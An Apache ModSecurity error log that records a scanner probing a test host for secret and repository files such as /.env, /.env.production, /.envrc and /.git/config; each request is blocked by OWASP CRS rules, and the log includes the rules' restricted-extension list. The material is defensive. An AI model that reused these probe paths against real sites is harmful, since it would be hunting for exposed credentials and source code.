[Fri Mar 20 16:14:03.440646 2026] [:error] [pid 2816018] [client 172.70.251.169:12129] [client 172.70.251.169] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_settings"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_settings"] [unique_id "ab1kO0nH70iMTzyPh3kWnQAAAAY"]
[Fri Mar 20 16:14:03.440753 2026] [:error] [pid 2816018] [client 172.70.251.169:12129] [client 172.70.251.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_settings"] [unique_id "ab1kO0nH70iMTzyPh3kWnQAAAAY"]
[Fri Mar 20 16:14:03.440875 2026] [:error] [pid 2816018] [client 172.70.251.169:12129] [client 172.70.251.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_settings"] [unique_id "ab1kO0nH70iMTzyPh3kWnQAAAAY"]
[Fri Mar 20 16:14:03.448279 2026] [:error] [pid 2822566] [client 172.70.251.169:12132] [client 172.70.251.169] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local.backup"] [unique_id "ab1kO2LvrbuE12wYiLe4QQAAABA"]
[Fri Mar 20 16:14:03.448435 2026] [:error] [pid 2822566] [client 172.70.251.169:12132] [client 172.70.251.169] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local.backup"] [unique_id "ab1kO2LvrbuE12wYiLe4QQAAABA"]
[Fri Mar 20 16:14:03.448557 2026] [:error] [pid 2822566] [client 172.70.251.169:12132] [client 172.70.251.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local.backup"] [unique_id "ab1kO2LvrbuE12wYiLe4QQAAABA"]
[Fri Mar 20 16:14:03.448684 2026] [:error] [pid 2822566] [client 172.70.251.169:12132] [client 172.70.251.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local.backup"] [unique_id "ab1kO2LvrbuE12wYiLe4QQAAABA"]
[Fri Mar 20 16:14:03.518032 2026] [:error] [pid 2828198] [client 172.70.251.170:11853] [client 172.70.251.170] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env~"] [unique_id "ab1kO8ksTLMF-0nJGdZb-QAAAAM"]
[Fri Mar 20 16:14:03.518214 2026] [:error] [pid 2828198] [client 172.70.251.170:11853] [client 172.70.251.170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env~"] [unique_id "ab1kO8ksTLMF-0nJGdZb-QAAAAM"]
[Fri Mar 20 16:14:03.518386 2026] [:error] [pid 2828198] [client 172.70.251.170:11853] [client 172.70.251.170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env~"] [unique_id "ab1kO8ksTLMF-0nJGdZb-QAAAAM"]
[Fri Mar 20 16:14:04.516438 2026] [:error] [pid 2828200] [client 172.70.251.223:12986] [client 172.70.251.223] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.bak"] [unique_id "ab1kPAp0GbmkUAUfOtfnnAAAAAo"]
[Fri Mar 20 16:14:04.516622 2026] [:error] [pid 2828200] [client 172.70.251.223:12986] [client 172.70.251.223] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.bak"] [unique_id "ab1kPAp0GbmkUAUfOtfnnAAAAAo"]
[Fri Mar 20 16:14:04.516781 2026] [:error] [pid 2828200] [client 172.70.251.223:12986] [client 172.70.251.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.bak"] [unique_id "ab1kPAp0GbmkUAUfOtfnnAAAAAo"]
[Fri Mar 20 16:14:04.516918 2026] [:error] [pid 2828200] [client 172.70.251.223:12986] [client 172.70.251.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.bak"] [unique_id "ab1kPAp0GbmkUAUfOtfnnAAAAAo"]
[Fri Mar 20 16:14:04.519801 2026] [:error] [pid 2828199] [client 172.70.251.223:12985] [client 172.70.251.223] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.envrc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.envrc"] [unique_id "ab1kPCVNfI7nWmz17RxadgAAAAc"]
[Fri Mar 20 16:14:04.520004 2026] [:error] [pid 2828199] [client 172.70.251.223:12985] [client 172.70.251.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.envrc"] [unique_id "ab1kPCVNfI7nWmz17RxadgAAAAc"]
[Fri Mar 20 16:14:04.520189 2026] [:error] [pid 2828199] [client 172.70.251.223:12985] [client 172.70.251.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.envrc"] [unique_id "ab1kPCVNfI7nWmz17RxadgAAAAc"]
[Fri Mar 20 16:14:05.664169 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "ab1kPW8zubx8zfwe9oW5SgAAAAU"]
[Fri Mar 20 16:14:05.664303 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "ab1kPW8zubx8zfwe9oW5SgAAAAU"]
[Fri Mar 20 16:14:05.664432 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "ab1kPW8zubx8zfwe9oW5SgAAAAU"]
[Fri Mar 20 16:14:05.679027 2026] [:error] [pid 2827214] [client 172.70.251.28:12899] [client 172.70.251.28] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/index"] [unique_id "ab1kPW808gcmd_Zzq_-pCQAAABI"]
[Fri Mar 20 16:14:05.679182 2026] [:error] [pid 2827214] [client 172.70.251.28:12899] [client 172.70.251.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/index"] [unique_id "ab1kPW808gcmd_Zzq_-pCQAAABI"]
[Fri Mar 20 16:14:05.679327 2026] [:error] [pid 2827214] [client 172.70.251.28:12899] [client 172.70.251.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/index"] [unique_id "ab1kPW808gcmd_Zzq_-pCQAAABI"]
[Fri Mar 20 16:14:05.689545 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ab1kPTQ9Th-2Y9b0JRd1ywAAAAE"]
[Fri Mar 20 16:14:05.689676 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ab1kPTQ9Th-2Y9b0JRd1ywAAAAE"]
[Fri Mar 20 16:14:05.689815 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ab1kPTQ9Th-2Y9b0JRd1ywAAAAE"]
[Fri Mar 20 16:14:05.702463 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/HEAD"] [unique_id "ab1kPRq8pDZXKMuYECLOcAAAAAk"]
[Fri Mar 20 16:14:05.702596 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/HEAD"] [unique_id "ab1kPRq8pDZXKMuYECLOcAAAAAk"]
[Fri Mar 20 16:14:05.702744 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/HEAD"] [unique_id "ab1kPRq8pDZXKMuYECLOcAAAAAk"]
[Fri Mar 20 16:14:05.715216 2026] [:error] [pid 2828200] [client 172.70.251.223:12986] [client 172.70.251.223] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ab1kPQp0GbmkUAUfOtfnnQAAAAo"]
[Fri Mar 20 16:14:05.715339 2026] [:error] [pid 2828200] [client 172.70.251.223:12986] [client 172.70.251.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ab1kPQp0GbmkUAUfOtfnnQAAAAo"]
[Fri Mar 20 16:14:05.715466 2026] [:error] [pid 2828200] [client 172.70.251.223:12986] [client 172.70.251.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ab1kPQp0GbmkUAUfOtfnnQAAAAo"]
[Fri Mar 20 16:14:05.728961 2026] [:error] [pid 2828199] [client 172.70.251.223:12985] [client 172.70.251.223] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "ab1kPSVNfI7nWmz17RxadwAAAAc"]
[Fri Mar 20 16:14:05.729105 2026] [:error] [pid 2828199] [client 172.70.251.223:12985] [client 172.70.251.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "ab1kPSVNfI7nWmz17RxadwAAAAc"]
[Fri Mar 20 16:14:05.729249 2026] [:error] [pid 2828199] [client 172.70.251.223:12985] [client 172.70.251.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "ab1kPSVNfI7nWmz17RxadwAAAAc"]
[Fri Mar 20 16:14:05.736723 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "ab1kPTQ9Th-2Y9b0JRd1zAAAAAE"]
[Fri Mar 20 16:14:05.736853 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "ab1kPTQ9Th-2Y9b0JRd1zAAAAAE"]
[Fri Mar 20 16:14:05.736987 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "ab1kPTQ9Th-2Y9b0JRd1zAAAAAE"]
